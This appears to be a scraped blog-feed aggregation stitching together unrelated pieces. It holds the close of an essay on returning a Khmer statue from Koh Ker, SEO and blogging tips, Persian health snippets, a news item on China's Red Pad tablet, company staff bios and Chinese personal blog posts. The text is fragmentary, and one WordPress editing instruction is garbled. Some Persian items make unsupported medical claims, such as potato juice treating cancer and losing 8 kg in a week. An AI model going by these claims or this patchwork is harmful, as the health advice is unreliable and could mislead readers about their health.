But in this case, Odyssey Marine consistently gathers a lot of archaeological data from their sites. And is it reasonable to ask when and how carefully archaeologists would be excavating this particular site more than half a kilometer deep? It seems we can all learn much from Odyssey’s digital photos, detailed site maps and the thousands of objects recovered. More than we would have known if the site was never found. Now the responsibility falls to Spain to educate and inspire us with their recovered objects. The world watches.

The “Angel of Beng Mealea” - March 5, 2006 and February 12, 2007.
4. Do poor people have the right to take abandoned objects from public places just to survive? I wrote about my own painful experience with this at Beng Mealea in this article “Death of an Angel.”

There are countless examples. There will be countless more. Each situation is different. Right and wrong are not always clear. And certainly never appear the same to opposing parties in a disagreement.

Back in 2008 I bought a used car legally. But what if the original owner (or the factory, or the country where it was built) tried to reclaim it because “I parked it too long” or “I wasn’t taking care of it” or “they want to study it” or “it belongs in the original place”? I can’t say I’d be too happy.

But there are solutions to these issues…as there are to most human conflicts: communication, empathy and diplomacy. Fortunately, a combination of these factors may lead to a resolution to the quandary of the Sotheby’s statue sale.

Collectors Who Share

Cultural sensitivity about who historical objects should belong to is a fairly new concept. As noted above people have the right to own private property. This has been going on for a long time. Humans are an acquisitive species by nature.

It’s worth noting that some of the most successful “acquirers” (Rockefeller, Carnegie, Warren Buffett and Bill Gates come to mind) have also proven themselves as some of our most generous givers. And some art collectors have proven themselves in this way, too. After a lifetime of actively hunting, obsessively gathering and painstakingly preserving the rare objects they crave…many end up donating their collections to public institutions.

In the world of Khmer art, Douglas Latchford, co-author of “Adoration and Glory” with art historian Emmy Bunker, is one example. He began collecting Khmer artifacts 56 years ago (1956). Over the years he and his friends have shared financial gifts with the National Museum of Cambodia. More significantly, he is the museum’s biggest contributor of artifacts (read more about Douglas Latchford on KI-Media).

Now another collector may assist with a solution to the thorny situation of the Koh Ker statue at Sotheby’s.

Dr. István Zelnik, founder of the Gold Museum in Budapest, Hungary.
During the 1970s, Dr. István Zelnik served as a Hungarian diplomat in Cambodia, Laos and Vietnam. Like many passionate collectors he invested his money in rare books, antiques and works of art. Motivated by a love of art and curiosity about the objects he found, he became an increasingly sought after consulting expert for museums and archaeologists around the world. In 2011 his dreams culminated with his greatest achievement: founding the Zelnik István Southeast Asian Gold Museum in Budapest Hungary.

In a statement to the New York Times Dr. Zelnik expressed the possibility that he may purchase the statue for donation to the people of Cambodia. A generous, diplomatic and expedient solution in our complex world. The owner would be compensated for her private property, huge amounts of time and money would not be wasted on legal litigation, and the people who respect and admire the art of the Khmer people could once again see this expression of creativity in the land where it was born.

I wish him success and encourage him along with Mr. Latchford and other collectors to continue sharing the objects of their passion with the world.

The two mythic Cambodian warriors as they one faced each other at Koh Ker. Below, Simon Warrack asks if they can one day be reunited?
Could Two Ancient Brothers Meet Again?

To conclude this article I contacted Simon Warrack to ask his current ideas about the ownership of historic art. Here’s what he had to say:
“The concept of “ownership” may be the wrong place to start when considering important objects. It is the value and significance of an object that should be thought of first, rather than who it belongs to.

”The questions should really be about the object itself, not who it belongs to. Where is the object best valued? Where is it best appreciated? Where is it best understood? Where is it best conserved?

“Who an object belongs to should be secondary. As one of my colleagues observed ‘Objects are not important because they are in museums. They are in museums because they are important.’ The object itself is the important factor, not the museum that possesses it.

“After finding the empty pedestals seven years ago actually seeing both Koh Ker statues is remarkable. The possibility now exists that, one day, they may be reunited.

“Today, I called HE Hab Touch to ask his opinion on this matter. He is optimistic but noted that at this early stage no decisions or agreements are in place. However, Cambodia is ready and there are at least two suitable, secure locations where the pieces could be located for public appreciation. In the National Museum, of course, but plans are also being made for a museum at Preah Vihear, the same province where Koh Ker is located. There, the museum will become a gateway to the World Heritage Site and these figures could, once again, provide a wonderful center piece to welcome visitors from around the world.”
Simon closed by mentioning a concept from the book, Who Owns Antiquity by James Cuno. Cuno observes that national museums in wealthy nations host “encyclopedic” collections of objects from around the world, while national museums in less wealthy countries host indigenous local art relating to their own history.

He suggests that the global exchange of art would be a good direction to head in. Just as it is good for a child in Pasadena to experience the art of Cambodia, wouldn’t it also be wonderful for a child of Cambodia to see pieces of American history? Or the creations of Greece, Rome, Egypt, Mexico, etc.?

With communication, empathy and diplomacy we can all grow and learn.

          Avoid following Tips to Increase Google page rank   
Never put ads to new sites right away as Google may mark your site as “ ad farm “ and will not index the site. You should wait for a month or so to begin ad activity.

It has been seen that Google bestows high ranking to sites having multiple inbound links. The important fact is that such links must correspond to higher ranking site only.

You will not get any benefit from any sub standard link exchange sites and more over Google will side line your site for link farming. Your inbound links must be relevant to content of website.

You can link web site with good social book marking services like del.icio.us, reddit.com, dig.com to name a few but there are many other such sites which will serve your purpose but Most of social book marking sites use rel="nofollow" attribute which does not help increasing Page rank of website.

Google detects duplicate contents, copied content etc and never index sites which use them. It is always advisable to give relevant link and disclose the content source etc.

Always link single page with canonical URL. Always refrain from excess use of key words, over optimizing, irrelevant use of key word as this adversely affects website’s page ranking.

It has been very common practice to use invisible text and use it at the end of the main page but this is no longer a sensible thing to do as modern search engines detect it and may penalize your site. Always try to avoid query characters such as “?” as search engines never appreciate dynamic pages with such characters.

It is very essential to perform correct redirecting. When moving content from one page to another make sure to include 301 redirect codes, which indicates that page has been moved permanently.

Google suggests that there should be less than 100 links in a single page.

Always put links having equal or higher page rank sites and must be relevant to the content of the page.

Never use unauthorized softwares or programs to check rankings, submit page as you may be violating service terms etc.
          Top 12 Quick SEO Tips for your Blog   
Here are some helpful seo tips for your blog. These tips definately useful for your blog and your blog will get more traffic for the search engines if your follow the following tips :

  • If you have a domain and want to install wordpress blog, don't put your blog at the root of your domain. Rename the directory with "blog" instead of "wordpress".
  • Always use dashes or hyphens in the url. These are best. You can also use underscore in the url. Spaces and no spaces are useless.
  • Put target keyword in the title tag and the heading of blog post.
  • Include the main keyword in the first paragraph in every post.
  • Use alt tags on images. Its good seo strategy.
  • Install title and meta description plugins. And make all the titles unique with the help of title plugin. These worpdress plugins are available free.
  • Always ping your blog in google and other autoping resources when updated.
  • When changing your host, use a permanent redirect (301).
  • Check your blog in all the popular web browers and cell phone.
  • Verify your blog using google webmaster tool and submit xml sitemap in all the three major search engines like google, yahoo and msn.
  • Don't mix non-www with www.
  • If you are earning from google adsense, use section targeting. Google will display relevant ads on your blog.

          Helpful Tips to Earn Income from Blogging   
Internet is the best way to generate income through blog or website. Blogs are the easy way to make money without having to work too much and its easy to setup.

What is a blog?
A blog is online dairy that displays data/content in chronological order. It displays the content in descending order with date and time. A blog is easily picked and crawled fastly by the search engines. So it is a good way to direct traffic to the desired websites. Regular updation and little seo work will increase the ranking of the blog in search engines and it can play and important role in selling the products or inform the users about the new products added on the website.

Write Unique Content for Your Blog
We all know that content is king. So if you are selling your products or add new product, write some unique lines about the product and direct the traffic to the product page of your website. Donot copy the content from your website and paste on your blog. Unique content will increase traffic on your website. So always update the post with unique content.

Blogging Daily
If a blog is not updated on regular basis, it becomes useless for you. So always try to blog about the products and services offered by your company. A content write can be hired if you have lack of time to update your blog.

Blog About Products
To direct more traffic to your website and earn, always blog about your products. Write it review. Also compare it with the other products. Comparing will provide option to your visitors to select the best one. If do not sell any products, join affiliate program and write posts on the products of the manufacturer. When a visitor purchase any product through your affiliate link, you get the commission.

Earn from Google Adsense
Google adsense is the best way to make money online for the publisher. It shows the relevant ads on the content pages. You will earn when a visitor clicks on google ads displayed on your blog. It easy to setup. Fill the form offered by Google to apply for google adsense account.

There is no need to invest money in hosting and domain registration for blogging. The Blogger and Wordpress are the most popular platforms for blogging. Create your account and start blogging. Wordpress is very user-friendly and most popular but you cannot earn money from google adsense here. The free version of wordpress will not allow you to add the google adsense code anywhere in your blog.
          Wordpress Blog - SEO Tips and Avoid Mistakes   
Recently I have visited the blogs and found some mistakes by the blogs owner. SOme mistakes are serious and search engines can penalize for these careless jobs. Few things are important and it helps you to get more traffic and get benefits. Some of the important points and steps are mentioned below :

Remove the hyperlink of Title from the single post:
Its common mistakes I have seen in the blogs. If a visitor in the single post then the title must not be hyperlinked. It is very easy to remove the hyperlink from the post title. Just go to Presentation > Theme Editor > and open singlepost.php and replace the following line "> with .

Use Wordpress Plugins:
Many plugins available free that helps you to make your website more seo-friendly. Some of the plugins are :
Google Sitemap Generator : Sitemap makes search engine easy to crawl all the pages. With the help of this, you can create the sitemap for your blog and submit it in google webmaster tools.

Optimize your Meta Description Tag : Meta descriptions are not very important, but still helpful in yahoo and other search engines. With the help of this plugin, you can manually insert the meta description for each post separately.

Title Tags Generator : Titles are still important. Install this plugin and insert title tags for each post.

Optimize Images :
Image optimization is the basic on-page seo. The visitors enters the website with the help of images also. So must include alt tags in the images.

Change the default Wordpress Theme:
The default wordpress theme is not very impressive. Lots of free attractive themes available. Download the theme and replace it with default. This makes your wordpress blog more professional.

Add noindex and nofollow to Category and Archieves:
Add noindex to categories, archieves, tags to avoid duplicate content issue. To insert noindex in the archieve, goto Theme Editor>header.php and replace with "meta name="robots" content="noindex"
          Learn of the adapted strategies and Access SEO's Anatomy on their Campaigns   
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          ویدیو/ ۱۰ ماساژ ساده برای درمان ۱۰ تا از مشکلات سلامتی   

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بولور: ماساژهایی که معجزه می کنند / ۱۰ ماساژ ساده برای درمان ۱۰ تا از مشکلات سلامتی / ماساژ درمانی ۱- درمان سردرد با ماساژ ۲- درمان آسم با ماساژ ۳- درمان افسردگی با ماساژ ۴- درمان درد قاعدگی با ماساژ ۵- درمان بی خوابی با ماساژ ۶- درمان حالت تهوع با ماساژ ۷- درمان فشارخون بالا با ماساژ ۸- درمان […]

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          چند نکته برای سرحال تر شدن   

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چند نکته برای سرحال تر شدن بولور: میوه درخت کاج را بو کنید. روغن خوشبوی موجود در میوه های مخروطی کاج و صنوبر، باعث آزاد شدن آدرنالین در بدن می‌شود که به سرعت شما را سر حال تر می کند.   آفتاب: ۴۰ نکته برای سرحال تر شدن ۱- موسیقی گوش کنید. این کار انسان […]

نوشته چند نکته برای سرحال تر شدن اولین بار در بولور پدیدار شد.


          روش های درمان خارش پوست سر   

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بخش بهداشت پوست و مو بولور : روش های درمان خارش پوست سر خارش کف سر یک بیماری مزمن رایج است که علل متفاوتی دارد خارش سر علاوه بر این که می تواند بسیار آزاردهنده باشد گاهی منجر به ایجاد مشکلات فراوانی می شود. خارش کف سر یک بیماری مزمن رایج است که علل متفاوتی […]

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          آیا آب معدنی ها سالم اند؟   

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آیا آب معدنی ها سالم اند؟ خیلی ها فکر می کنند هر نوع آبی که در بطری به فروش می رسد همان آب معدنی است در حالی که این یک باور رایج نادرست است و همه بطری های آب موجود در مغازه ها جزو آب معدنی ها  نیستند. با گرم شدن هوا بازار خرید آب معدنی […]

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          یک نوشیدنی طبیعی و مفید برای سیگاری‌ها /اکسیری برای سیگاری‌ها   

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بولور »  اکسیری برای سیگاری‌ها / یک نوشیدنی طبیعی و مفید برای سیگاری‌ها تاکنون به وضعیت ریه‌هایمان در این حجم وسیع آلودگی هوا فکر کرده‌اید؟ حالا ترکیبات سمی که از طریق سیگار کشیدن وارد این اعضای بینوا می‌شوند را نیز به این وضعیت اسفبار اضافه کنید. بله متأسفانه حال ریه‌های سیگاری‌ها هیچ‌وقت خوب نبوده و نیست. […]

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          How we live khmer son   

          رژیم غذایی: چطور در ۷ روز ۸ کیلوگرم لاغر شوید   

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رژیم غذایی: چطور در ۷ روز ۸ کیلوگرم لاغر شوید   آیا به دنبال سریع‌ترین راه برای کم کردن وزن هستید؟ آیا در آینده نزدیک میهمانی بزرگی در پیش دارید و دوست دارید در لباسی که به تازگی خریده‌اید متناسب به نظر برسید؟ آیا طی چند هفته آینده یک قرار خیلی مهم دارید؟ دلیل اینکه […]

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          China introduces a communist tablet: the Red Pad [... at a non-proletarian price of US$1,600]   
January 20, 2012
By Molly McHugh
Digital Trends

The extremely expensive tablet will marketed specifically towards party officials.

If you thought iPads were expensive, think again. A new Chinese tablet called the Red Pad will cost $1,600 dollars, but not just anyone can buy it, even if you do have the money.

After heavy criticism over its price from Chinese consumers, marketing and advertising featuring the Red Pad seemingly disappeared. Now, the Economic Times is saying that the manufacturer will only sell the tablet to bureaucrats and not the public. Originally the device was going to be available for anyone with the money (or the ability to subsidize the purchase), but the public backlash was so strong, the manufacturers decided to change its marketing tactics. It now looks like some back-pedaling occurred, and as a result the tablets availability will be limited to only Party officials.

But it’s not only the cost that will appeal to party members either. The Red Pad is specifically built to cater to their needs: the tablet from Red Pad Technology (which is supposedly in cahoots with the country’s Ministry of Information Industry) comes packaged with government database access and integration with the communist mouthpiece website, People’s Daily.

What’s possibly most amusing about the Red Pad is its operating system. The 9.7-inch Red Pad uses the Android OS, which is surprising considering China’s ongoing issues with Google. Aside from its ironic use of this platform and outrageous price, the Red Pad is similar to any other tablet: it features an A9 dual core processor, Wi-Fi and 3G support, 16GB of flash storage, with a sub 10-inch touchscreen display.


Last month we heard that a personalized iPad application was being developed for UK Prime Minister David Cameron. The supposed app would give him immediate access to government affairs and news. While the degree of this app has been questioned (it’s possible it’s merely a secure, Flipboard-like portal to this data), it’s clear that government leaders have become taken with tablets.

          غذاهایی که آهن بدن شما را تأمین می‌کنند   

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غذاهایی که آهن بدن شما را تأمین می‌کنند، آهن یکی از ریزمغذی‌های ضروری برای شما که ازجمله فرایند خون‌سازی به آن وابسته است. با خوردن این ۱۰ ماده غذایی می‌توانید آهن موردنیاز بدنتان را تأمین کنید: گوشت اگر شما از دوستداران خوردن گوشت هستید، مصرف آن راهی فوق‌العاده برای دریافت مقداری آهن است. با مصرف […]

نوشته غذاهایی که آهن بدن شما را تأمین می‌کنند اولین بار در بولور پدیدار شد.


          عادات بدی که عامل افزایش وزن هستند   

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متخصصان تغذیه و سلامت تاکید دارند: یکی از عوامل موثر بر افزایش وزن، داشتن عادات بد مربوط به غذا خوردن است.   عادات بدی که عامل افزایش وزن هستند به گزارش ایسنا، این متخصصان هشدار می‌دهند برخی از عادت‌های بدی که به نحوه غذا خوردن مربوط می‌شوند می‌توانند تمام تلاش‌های شما را برای لاغر شدن […]

نوشته عادات بدی که عامل افزایش وزن هستند اولین بار در بولور پدیدار شد.


          غذاهایی که جلوی کچل شدن را می گیرند   

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خواص خوراکی ها : غذاهایی که جلوی کچل شدن را می گیرند همشهری آنلاین: بهبود سلامت موها همچون دیگر اعضا و بافت‌های بدن به داشتن یک رژیم غذایی متعادل بستگی دارد. ریزش مو به دلیل عوامل مختلفی بروز می‌کند. برای مقابله با این مشکل ابتدا باید علت اصلی آن توسط پزشک متخصص تشخیص داده شود. […]

نوشته غذاهایی که جلوی کچل شدن را می گیرند اولین بار در بولور پدیدار شد.


          تاثیرات تخم‌‌‌‌‌‌‌مرغ‌ بر روی سلامتی   

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از خوردن این منبع پروتئین ارزان و در دسترس، در حد اعتدال نترسید. تاثیرات تخم‌‌‌‌‌‌‌مرغ‌ بر روی سلامتی تخم‌مرغ یک خوراکی ارزان‌قیمت با فواید فراروان است که البته دکترها ممکن است آنرا برای شما منع کرده باشند ، در این مقاله به بررسی فواید تخم‌مرغ برای سلامتی خواهیم پرداخت: زرده تخم مرغ حاوی مواد مغذی […]

نوشته تاثیرات تخم‌‌‌‌‌‌‌مرغ‌ بر روی سلامتی اولین بار در بولور پدیدار شد.


          ورزش نقش اندکی در درمان چاقی یا کاهش وزن دارد   

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ورزش چاره چاقی نیست توصیه موسسه ملی ارتقاء سلامت و مراقبت ‘بریتانیا تغذیه متعادل همراه با ورزش’ است ورزش نقش اندکی در درمان چاقی یا کاهش وزن دارد و این ‘باور نادرست’، محصول ‘ماشین تبلیغاتی صنایع غذایی’ است. در سرمقاله‌ای که سه کارشناس برجسته در نشریه طب ورزش بریتانیا منتشر کرده‌اند، تبلیغ نقش ورزش در […]

نوشته ورزش نقش اندکی در درمان چاقی یا کاهش وزن دارد اولین بار در بولور پدیدار شد.


          درصد چربی بدنتان را حساب کنید   

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درصد چربی بدنتان را حساب کنید در این مطلب به بازخوانی تعریف چاقی بر مبنای معادله دورنبرگ، اندازه‌گیری دور کمر، نسبت دور کمر به دور باسن و شاخص توده بدن پرداخته شده است.   «تعریف چاقی تغییر کرده است!» دکتر محمدرضا وفا می‌گوید: «براساس تعاریف جدید، چاقی و اضافه‌وزن فقط براساس قد و وزن تعریف […]

نوشته درصد چربی بدنتان را حساب کنید اولین بار در بولور پدیدار شد.


          چرا نباید ‘شیر و چای’ را مخلوط کرد؟   

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چرا نباید “شیر و چای” را مخلوط کرد؟ : کلسیم، مهم‌ترین ریزمغذی شیر است که تحت‌تاثیر ترکیب‌های موجود در چای قرار می‌گیرد و غیر از آن، سایر ریزمغذی‌های شیر هم تاحدی در صورت ترکیب با چای تخریب خواهند شد.     دکتر محمدرضا وفا، دانشیار دانشگاه علوم پزشکی ایران در هفته نامه سلامت نوشت: یکی […]

نوشته چرا نباید ‘شیر و چای’ را مخلوط کرد؟ اولین بار در بولور پدیدار شد.


          برنج بخورید و لاغر شوید!   

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برنج بخورید و لاغر شوید! محققان به شیوه جدیدی از طبخ برنج دست یافته اند که با استفاده از این روش نه تنها می توان کالری های حاصل از برنج را کاهش داد بلکه عدم اضافه وزن و چاقی را نیز به دنبال دارد.       به گزارش مهر، در دهه های اخیر، جوامع […]

نوشته برنج بخورید و لاغر شوید! اولین بار در بولور پدیدار شد.


          آب سیب زمینی و خواص درمانی شگفت انگیزش   

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می توانید با استفاده از آب سیب زمینی، این بیماریها را درمان کنید:   زخم معده اگر از زخم معده رنج می برید، روزانه با معده خالی 50 میلی لیتر آب سیب زمینی. قبل از ناهار و شام بنوشید.   بیماری های سرطانی آب سیب زمینی بخشی از درمان سرطان است. قند خون قند خون […]

نوشته آب سیب زمینی و خواص درمانی شگفت انگیزش اولین بار در بولور پدیدار شد.


          دکتر قهاری ؛لوزه سوم را بیشتر بشناسیم   

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دکتر قهاری : لوزه سوم را بیشتر بشناسیم قهاری متخصص گوش، حلق و بینی گفت: یک سوم وظیفه دفاعی بدن تا 5 سالگی را لوزه‌ها انجام می‌دهند و عفونت، آلرژی و آلودگی‌ها عامل بزرگ شدن این لوزه‌ها هستند. نظام‌الدین قهاری در گفت‌وگو با فارس، اظهار کرد: تا اوایل 5 سالگی یک سوم دفاع بدن در […]

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          Debbie Vaught   

I hired AccuConference as my employer 2 ½ years ago and I am awesome at taking care of our customers. I grew up traveling around the world in a military family. Even though I planted my roots in Texas, I still have a list of places that I would still like to visit. My pastime is my family. Family is everything and provides the best plots and stories; more than any book or movie could offer. My motto is to love more than I am loved. Debbie on Google+   Read all of Debbie’s Post on AccuConference

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          این مواد غذایی را با هم نخورید؛ خوردن همزمان این مواد مضر است   

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  خوردن همزمان این مواد مضر است : مصرف همزمان بعضی از مواد غذایی با یکدیگر می تواند بسیار مضر باشد و حاصل آن تولید اخلاط زاید در بدن می باشد که گاهی تاثیرات این تداخلات در چندین سال بعد به صورت بیماری های مختلف و صعب العلاج بروز خواهد کرد. به عنوان مثال حکمای طب […]

نوشته این مواد غذایی را با هم نخورید؛ خوردن همزمان این مواد مضر است اولین بار در بولور پدیدار شد.


          Maranda Gibson   

Maranda is originally from Glenwood, Arkansas (Google it, it’s real) and moved to Texas after graduating from Henderson State University in 2005. She earned her BA in Communications and began working at AccuConference as a writer and customer contact. Maranda has a deep passion for baseball, novel writing, and music. At home, she’s usually doing something that relates to one of those things. Go Rangers!     Read all of Maranda’s posts.  AccuConference on Google+  

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          پیشگیری از آلزایمر با نوشیدن 3 فنجان قهوه   

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  پیشگیری از آلزایمر با نوشیدن 3 فنجان قهوه / یکی از نوشیدنی‌های بسیار لذیذ می‌تواند سبب جلوگیری از ابتلای افراد به بیماری آلزایمر شود. به گزارش باشگاه خبرنگاران، کار‌شناسان به افرادی که می‌خواهند در دوران سالمندی به بیماری آلزایمر مبتلا نشوند، توصیه اکید می‌کنند در طول روز۳ الی ۵ فنجان قهوه بنوشند.   گفتنی […]

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          David Byrd   

David is the VP of Ops at AccuConference. When not working, David is dancing with his wife or playing Halo with his nephew. An avid reader, David likes to add his thoughts to the blog on occasion, calling himself a “budding writer”.               See all David Byrd’s posts   David on Google+

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          آسیب های موبایل به ستون فقرات /قرار دادن بدن در وضعیت سالم   

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بولور؛ محققان می گویند که خم کردن سر برای استفاده از تلفن همراه ممکن است به مرور زمان باعث بروز آسیب در گردن، ستون فقرات و نخاع می شود.   آنها شیوع درد و ناراحتی‌های گردن را که نتیجه خم کردن طولانی سر برای استفاده از موبایل و تبلت و وسایل مشابه است، گردن پیامکی […]

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          女人真辛苦呀~短篇   
        話說 半夜真是適合練宵話的時候 今ㄦ日 我去把我的宅男頭稍微修了一下  好迎接我接踵而來的活動 (也不知曾幾何時 12月變成是活動最多的月份惹....) ㄟ  我長期以來喜愛的理髮師 (就bob頭那篇)   不曉得會不會每次看到我的頭就想嘆氣說 已經好好教我怎麼吹頭了  我還是這麼不受教......   於是她就說 還是燙一下好了  當我邊燙 邊想著我1500現大洋還可以做啥的時候 我身邊來了一個型女  就是戴著大黑框眼鏡  有型的那種 坐在我旁邊 說要理髮 但她同時也一邊在問指甲護理 天呀! 我才嚇一跳  是我老摳摳和LKK嗎?(會用這兩個詞本來就顯老了捌!) 原來理髮店也可以同時做指甲呀!!!!   更驚人的是 她在談好價錢後 開始在脫鞋子脫襪子了 瞎咪!! 原來連腳指頭都可以做 她就選了一個比較便宜的方法做腳指甲  因為她說冬天又不穿涼鞋 我內心 大驚  一想 嗯? 那不是應該不用做嗎?反正又不露出來   當我坐在那邊翻著他們拿給我看的ELLE雜誌時 我不禁一想   唉! 其實美麗是有代價的呀!  當我在這邊歐巴桑的斤斤計較的同時 我的外表已經是歐巴桑了   我其實也不太看女性雜誌的....因為這跟看"女人我最大" "基金版""股票向前衝" "蘋果房產王"一樣 不是因為我不想變漂亮  是因為 看了也徒增傷感呀 又買不起......  只有那些乾瞪眼的份   每次那些女明星在展示鞋子  問題是她們明明就不用走路 當然穿那麼高的鞋呀!   我們這種苦命"咖" 怎麼可能穿呢!   反正看著旁邊的型女  我就不免有點淡淡的哀傷惹   話說 男人呀! 要是你有個有智慧的女友 是幸福 要是你有個有智慧又漂亮的女友 真的是"奢華" 的幸福   我覺得女人的美多少還是要砸點錢和時間滴....   (茶)   PS 我弟那天就對我碎念說 你都幾歲了 還在穿10年前的衣服 不覺得很難看嗎? 你看程又青 學學人家的穿著吧!..... 我於是就google了一堆程又青穿著....下次把它po上來到相簿 但是呢! 我隱約覺得我好像只會google 不會買....因為那還是要錢呀!!! (菸)(酒拿來)    
          [電影] 藥命效應 Limitless 之 如何變聰明!!神經與大腦 1   
藥命效應這部片我一直到昨天才看 結果我和朋友一看 立刻驚為天人!!! 引發我和朋友的熱烈討論..(我好喜歡這種看完可以激發你討論很久的片呀!遠目) 聽說這部片大多的評價很普通 普遍被認為沒什麼內容 沒有高潮 不過我倒是覺得這部片沒有冷場 情緒有一直被揪著的感覺 題材也很有創意 我們一天到晚聽到廣撥或廣告有那種腦力潛能開發的課 但事實上要是真的有個藥可以讓你的腦袋火力全開  你會吃嗎?   因為大家都知道我們事實上並沒有無時無刻讓大腦"全"運作 我們平時的日常生活只有用到大腦皮質的非常小部份 那其他的呢? 要是都運作會怎樣? 我們其實有太多自己都不知道的潛能了.... 我同時一邊在蒐集資料 google發現 一堆這種潛能開發的課....可見這有多熱 嗯....我還是先來談個淺問題好了   這個電影除了讓我想到上面的問題之外 另一個就是我剛說的 如果有一種藥 沒有經過FDA測試 你完全不知道它可能會對你造成的副作用(個體獨特性) 而他號稱能夠讓你清晰無比 聰明無敵 你會吃它嗎? 這其實也是風險控管和人生是否要精彩的問題 你寧願你的人生綻放短暫而燦爛的光芒 但是壽命短暫 還是平平淡淡 健康而長壽的過一生呢? 我猜應該選前者的大部份會是男生 而選後者的則大部份會是女生 這也是為何劇中女生長久迷戀此藥的不多..... 這也是一個非常有趣的先天問題 男人的投機性會比較高嗎?還是男人天生比較有冒險犯難的精神? why? 這當然也跟生物性雄雌扮演的角色有很大的關係 你看 這部片可以引發多麼多有趣的問題   同時我這種做臨床試驗相關領域的人 會感到好奇的是 如果你有這個機會去"免費"嘗試一個尚未上市的藥 你會願意嗎? 目前大多數的臨床試驗都是藥商會免費提供研發中的新藥給你 就安全性和療效已經做過初步的測試 可能有它"預測"可達的療效 也有它"預測"的副作用 你會去試嗎? 那如果是在絕症中 你會願意試這種免費新藥嗎? 假如有這樣的狀況  你會建議自己的親人嘗試嗎? 以上這些問題我都很建議平時可以想想看 腦力激盪一下 (會變聰明喔!) 我想大多數的人對絕症和這種能讓能力增加的藥 臨床試驗態度也會有所不同吧 也就是我們會依不同狀況去調整我們的風險評估的臨界值 當面臨絕境時 我們願意冒風險的意願會變高 但若當一切順遂時 我們比較不會去做風險的事 這也是為何男主角開始要設定為一個 nobody! 這和我之後會提到的潛能開發也有很大的關係喔! 請繼續看下去!   現在來講到我看這部片想到的另一點: 如何變聰明? 聰明和大腦之間的關聯 (我通常寫電影文都盡量不寫雷 不過 我以下會寫到兩句 但我覺得還好 怕雷的還是可看的!) 其實在電影的後段 有一幕我覺得很精彩 就是"老薑"試圖要掌控變聰明的主角幫他做事 這讓我不禁拍案叫絕 因為 全世界最有智慧的人 應該是讓聰明的人來幫他做事!!! 請注意我這邊用的詞 一個是智慧 一個是聰明 就我的看法 這兩個詞是完全不同的 所以上述薑是老的辣片段 我是形容老薑是智慧....   我剛看完國家地理頻道的 神奇大腦-生為天才系列 這裡我就要稍微綜合一下我昨晚看完電影後對於如何變聰明的想法 配合剛看到天才系列的實證 來講一下潛能開發這件事  (抱歉!這裡跟電影就無關了 電影對我來說 是開發思考的好東西呢!) 究竟天才是天生的還是後天教育的呢? 神奇大腦天才系列這集 藉由一個8歲的鋼琴小神童來探索這個問題   我這邊就先由我本來要講的論點切入 配合他的例子 我認為要緞練你的腦 提升效能 簡單來說就是變聰明 有下面五個方法 (這是我依我日常生活和工作後的心得而寫的 不曉得是不是每個人有所不同  但我覺得很實用 給各位參考 同時也搭配我找到的例子)   1. 你要練習無時無刻的思考 我研究所研究的領域就是神經生理 學習與記憶 基本上神經是很特殊的 我們都知道長頸鹿為什麼脖子會是長的  並不是因為牠們用一用 就變長了 而是因為有基因突變  最後長脖子的鹿能存活 這就是演化 However,  在神經科學的領域來說 用進廢退說 卻是成立的 我們大腦神經是透過神經傳導物質 來進行電傳導的 但事實上有很多研究顯示 如果長時間沒有給與電訊號的刺激是很有可能會改變突觸(也就是神經的連接點)之間的關係 簡單來說 就是沒有用的會萎縮 (但其實很複雜啦 萎縮一詞並不精確) 胚胎成形後到三歲左右 我們的大腦基本上研究顯示 是連結最多的時候 但是基本上 這些連結對我們並沒有很大的幫助 完全的雜亂無章 (宇宙總是由chaos開始的嘛~) 到三歲的時候 我們會透過外界的刺激 何者有被激活 何者沒有 來用進廢退 也就是沒有用的細胞就淘汰 死亡 只剩下有用的連結 而這個機制是終生不可再回復的 第二次做同樣的淘汰和連結 則是青春期 受到荷爾蒙的變化  我們會再度進行一次 也就是此時 我們開始有強烈的自我認知 評估善惡是非 預測未來 評估風險  也就是前額葉的思考(見上圖)   並不是說人的一生中就只有這兩次的改變 所以說 我沒希望變聰明了!  事實上 腦神經的結構是很複雜的 以上所說的是大變化 所謂的小變化就是我這一點要說的 以下動作一樣也可以讓你的神經有刺激和活化 你要練習無時無刻的思考 多跟自己對話 多問為什麼? 人都有懶惰的時候 我常會說 "挨唷 我懶得去想了" 或是為何我們會喜歡看八卦新聞  因為那些不關我們的事 最樂得輕鬆 事實上同時你的腦子也正在偷懶 我們動物的生理和心理其實有種特殊的頃向 比較關心和自我切身相關的議題 所以當看八卦這種沒"營養"的新聞 你的大腦運作活化幾乎只剩視覺了 認識我的人都知道我超愛看電視的! 我可以一天坐在電視前面17個小時! 所以當有研究說 看電視會變笨 我超不以為然的 XD (誰能忍受你被說笨) 我只是覺得 你看電視的時候其實也是能思考的 你可以想 要是我碰到這種狀況 我會怎麼做? 簡單來說 拉近變成思考是與自己相關的問題 當看到比較有用的訊息的時候 把它記下來 像我現在在做的事一樣 我把剛剛那個節目用雜亂無章的筆記寫下 現在再組織整理成一篇文章  這種時刻 我運用到的就是 抄: 把重點節取下來 只寫出我預測我未來能看得懂的字詞 寫文章: 把所有資訊有系統地整理出來   這樣的思考是無時無刻的! 你可以在跑步機上想 你明天要做什麼 你可以在跟店員講話的時候想 我要怎麼問比較有效率 你可以在跟新朋友認識時 觀察猜想 他是個怎麼樣的人 你可以在過馬路的時候玩不差一絲一毫 剛好到達的遊戲 你可以在騎車的時候 一邊大罵那個剛剛按你喇叭的人去死 罵他一堆髒話 但同時幻想他今天會碰到什麼雖事  幻想一些故事來詛咒他   這些不僅僅在激活你的大腦 同時也能讓你的生活變得超級有趣的!   my God 我要出門了! 而且字數超標! 能看到這邊 並且不是草率看過並思考的人 我相信你已經用你的大腦了  恭喜你! 我下次心情好再po接下來的四點好了  沒想到要分兩集呀!!!!!   ㄎㄎㄎ~        
          Comment on Vlog #29: Switch Up for Father’s Day by What's New with Nintendo Switch System Update Version 3.0.0? - MEGATechNews   
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          英國行- 英國五天Highland團1 驚險趕車記   
